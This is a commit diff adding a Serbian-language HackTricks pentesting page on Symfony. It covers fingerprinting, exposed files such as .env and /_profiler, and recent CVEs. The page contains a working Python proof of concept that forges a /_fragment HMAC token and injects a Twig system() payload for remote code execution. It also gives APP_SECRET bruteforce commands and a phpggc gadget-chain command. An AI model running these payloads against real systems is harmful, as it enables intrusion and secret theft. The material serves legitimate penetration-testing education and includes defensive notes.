mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
Translated ['src/network-services-pentesting/pentesting-web/symphony.md'
This commit is contained in:
parent
5d5313773f
commit
0db76bd3b8
@ -2,10 +2,123 @@
|
|||||||
|
|
||||||
{{#include ../../banners/hacktricks-training.md}}
|
{{#include ../../banners/hacktricks-training.md}}
|
||||||
|
|
||||||
Pogledajte sledeće postove:
|
Symfony je jedan od najčešće korišćenih PHP okvira i redovno se pojavljuje u procenama ciljeva preduzeća, e-trgovine i CMS-a (Drupal, Shopware, Ibexa, OroCRM … svi ugrađuju Symfony komponente). Ova stranica prikuplja ofanzivne savete, uobičajene greške u konfiguraciji i nedavne ranjivosti koje treba da imate na svojoj listi kada otkrijete Symfony aplikaciju.
|
||||||
|
|
||||||
- [**https://www.ambionics.io/blog/symfony-secret-fragment**](https://www.ambionics.io/blog/symfony-secret-fragment)
|
> Istorijska napomena: Veliki deo ekosistema još uvek koristi **5.4 LTS** granu (EOL **novembar 2025**). Uvek proverite tačnu minor verziju jer mnoge sigurnosne preporuke iz 2023-2025. godine ispravljene su samo u zakrpama (npr. 5.4.46 → 5.4.50).
|
||||||
- [**hhttps://blog.flatt.tech/entry/2020/11/02/124807**](https://blog.flatt.tech/entry/2020/11/02/124807)
|
|
||||||
- [**https://infosecwriteups.com/how-i-was-able-to-find-multiple-vulnerabilities-of-a-symfony-web-framework-web-application-2b82cd5de144**](https://infosecwriteups.com/how-i-was-able-to-find-multiple-vulnerabilities-of-a-symfony-web-framework-web-application-2b82cd5de144)
|
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## Recon & Enumeration
|
||||||
|
|
||||||
|
### Finger-printing
|
||||||
|
* HTTP odgovori: `X-Powered-By: Symfony`, `X-Debug-Token`, `X-Debug-Token-Link` ili kolačići koji počinju sa `sf_redirect`, `sf_session`, `MOCKSESSID`.
|
||||||
|
* Curenje izvornog koda (`composer.json`, `composer.lock`, `/vendor/…`) često otkriva tačnu verziju:
|
||||||
|
```bash
|
||||||
|
curl -s https://target/vendor/composer/installed.json | jq '.[] | select(.name|test("symfony/")) | .name,.version'
|
||||||
|
```
|
||||||
|
* Javne rute koje postoje samo na Symfony:
|
||||||
|
* `/_profiler` (Symfony **Profiler** & debug toolbar)
|
||||||
|
* `/_wdt/<token>` (“Web Debug Toolbar”)
|
||||||
|
* `/_error/{code}.{_format}` (lepe stranice grešaka)
|
||||||
|
* `/app_dev.php`, `/config.php`, `/config_dev.php` (pre-4.0 dev front-controllers)
|
||||||
|
* Wappalyzer, BuiltWith ili ffuf/feroxbuster liste reči: `symfony.txt` → tražite `/_fragment`, `/_profiler`, `.env`, `.htaccess`.
|
||||||
|
|
||||||
|
### Zanimljive datoteke & krajnje tačke
|
||||||
|
| Putanja | Zašto je važna |
|
||||||
|
|------|----------------|
|
||||||
|
| `/.env`, `/.env.local`, `/.env.prod` | Često pogrešno postavljene → curenje `APP_SECRET`, DB kredencijali, SMTP, AWS ključevi |
|
||||||
|
| `/.git`, `.svn`, `.hg` | Otkriće izvora → kredencijali + poslovna logika |
|
||||||
|
| `/var/log/*.log`, `/log/dev.log` | Pogrešna konfiguracija web-root-a otkriva stack-traces |
|
||||||
|
| `/_profiler` | Puna istorija zahteva, konfiguracija, servisni kontejner, **APP_SECRET** (≤ 3.4) |
|
||||||
|
| `/_fragment` | Ulazna tačka koju koristi ESI/HInclude. Moguće je zloupotrebljavati kada znate `APP_SECRET` |
|
||||||
|
| `/vendor/phpunit/phpunit/phpunit` | PHPUnit RCE ako je dostupan (CVE-2017-9841) |
|
||||||
|
| `/index.php/_error/{code}` | Finger-print & ponekad curenje tragova izuzetaka |
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## Visoko uticajne ranjivosti (2023-2025)
|
||||||
|
|
||||||
|
### 1. Otkriće APP_SECRET ➜ RCE putem `/_fragment` (poznato kao “secret-fragment”)
|
||||||
|
* **CVE-2019-18889** prvobitno, ali *još uvek* se pojavljuje na modernim ciljevima kada je debug ostavljen uključen ili je `.env` izložen.
|
||||||
|
* Kada znate 32-znamenkasti `APP_SECRET`, kreirajte HMAC token i zloupotrebite unutrašnji `render()` kontroler da izvršite proizvoljni Twig:
|
||||||
|
```python
|
||||||
|
# PoC – zahteva tajnu
|
||||||
|
import hmac, hashlib, requests, urllib.parse as u
|
||||||
|
secret = bytes.fromhex('deadbeef…')
|
||||||
|
payload = "{{['id']|filter('system')}}" # RCE u Twig
|
||||||
|
query = {
|
||||||
|
'template': '@app/404.html.twig',
|
||||||
|
'filter': 'raw',
|
||||||
|
'_format': 'html',
|
||||||
|
'_locale': 'en',
|
||||||
|
'globals[cmd]': 'id'
|
||||||
|
}
|
||||||
|
qs = u.urlencode(query, doseq=True)
|
||||||
|
token = hmac.new(secret, qs.encode(), hashlib.sha256).hexdigest()
|
||||||
|
r = requests.get(f"https://target/_fragment?{qs}&_token={token}")
|
||||||
|
print(r.text)
|
||||||
|
```
|
||||||
|
* Odličan članak i skripta za eksploataciju: Ambionics blog (linkovan u Referencama).
|
||||||
|
|
||||||
|
### 2. Windows Process Hijack – CVE-2024-51736
|
||||||
|
* `Process` komponenta pretražuje trenutni radni direktorijum **pre** `PATH` na Windows-u. Napadač koji može da otpremi `tar.exe`, `cmd.exe`, itd. u pisiv web-root i pokrene `Process` (npr. ekstrakcija fajlova, generisanje PDF-a) dobija izvršenje komandi.
|
||||||
|
* Ispravljeno u 5.4.50, 6.4.14, 7.1.7.
|
||||||
|
|
||||||
|
### 3. Session-Fixation – CVE-2023-46733
|
||||||
|
* Autentifikacioni čuvar ponovo koristi postojeći ID sesije nakon prijave. Ako napadač postavi kolačić **pre** nego što žrtva autentifikuje, preuzima nalog nakon prijave.
|
||||||
|
|
||||||
|
### 4. Twig sandbox XSS – CVE-2023-46734
|
||||||
|
* U aplikacijama koje izlažu korisnički kontrolisane šablone (admin CMS, alat za izradu e-pošte) `nl2br` filter može biti zloupotrebljen da zaobiđe sandbox i injektuje JS.
|
||||||
|
|
||||||
|
### 5. Symfony 1 gadget lanci (još uvek se nalaze u nasleđenim aplikacijama)
|
||||||
|
* `phpggc symfony/1 system id` proizvodi Phar payload koji pokreće RCE kada se desi unserialize() na klasama kao što su `sfNamespacedParameterHolder`. Proverite krajnje tačke za otpremu fajlova i `phar://` omotače.
|
||||||
|
|
||||||
|
{{#ref}}
|
||||||
|
../../pentesting-web/deserialization/php-deserialization-+-autoload-classes.md
|
||||||
|
{{#endref}}
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## Exploitation Cheat-Sheet
|
||||||
|
|
||||||
|
### Izračunajte HMAC token za `/_fragment`
|
||||||
|
```bash
|
||||||
|
python - <<'PY'
|
||||||
|
import sys, hmac, hashlib, urllib.parse as u
|
||||||
|
secret = bytes.fromhex(sys.argv[1])
|
||||||
|
qs = u.quote_plus(sys.argv[2], safe='=&')
|
||||||
|
print(hmac.new(secret, qs.encode(), hashlib.sha256).hexdigest())
|
||||||
|
PY deadbeef… "template=@App/evil&filter=raw&_format=html"
|
||||||
|
```
|
||||||
|
### Bruteforce slabe `APP_SECRET`
|
||||||
|
```bash
|
||||||
|
cewl -d3 https://target -w words.txt
|
||||||
|
symfony-secret-bruteforce.py -w words.txt -c abcdef1234567890 https://target
|
||||||
|
```
|
||||||
|
### RCE putem izloženog Symfony Console
|
||||||
|
Ako je `bin/console` dostupan putem `php-fpm` ili direktnog CLI upload-a:
|
||||||
|
```bash
|
||||||
|
php bin/console about # confirm it works
|
||||||
|
php bin/console cache:clear --no-warmup
|
||||||
|
```
|
||||||
|
Koristite deserializacione gadget-e unutar direktorijuma keša ili napišite zloćudni Twig šablon koji će biti izvršen prilikom sledećeg zahteva.
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## Odbrambene napomene
|
||||||
|
1. **Nikada ne postavljajte debug** (`APP_ENV=dev`, `APP_DEBUG=1`) u produkciju; blokirajte `/app_dev.php`, `/_profiler`, `/_wdt` u konfiguraciji web-servera.
|
||||||
|
2. Čuvajte tajne u env varijablama ili `vault/secrets.local.php`, *nikada* u datotekama dostupnim kroz dokument-root.
|
||||||
|
3. Sprovodite upravljanje zakrpama – prijavite se na Symfony sigurnosne obaveštenja i održavajte barem LTS nivo zakrpa.
|
||||||
|
4. Ako radite na Windows-u, odmah se nadogradite da biste ublažili CVE-2024-51736 ili dodajte `open_basedir`/`disable_functions` odbranu u dubini.
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
### Korisni ofanzivni alati
|
||||||
|
* **ambionics/symfony-exploits** – RCE sa tajnim fragmentom, otkrivanje ruta debagera.
|
||||||
|
* **phpggc** – Gotove lance gadget-a za Symfony 1 i 2.
|
||||||
|
* **sf-encoder** – mali pomoćnik za izračunavanje `_fragment` HMAC (Go implementacija).
|
||||||
|
|
||||||
|
## Reference
|
||||||
|
* [Ambionics – Symfony “secret-fragment” Remote Code Execution](https://www.ambionics.io/blog/symfony-secret-fragment)
|
||||||
|
* [Symfony Security Advisory – CVE-2024-51736: Command Execution Hijack on Windows Process Component](https://symfony.com/blog/cve-2024-51736-command-execution-hijack-on-windows-with-process-class)
|
||||||
{{#include ../../banners/hacktricks-training.md}}
|
{{#include ../../banners/hacktricks-training.md}}
|
||||||
|
Loading…
x
Reference in New Issue
Block a user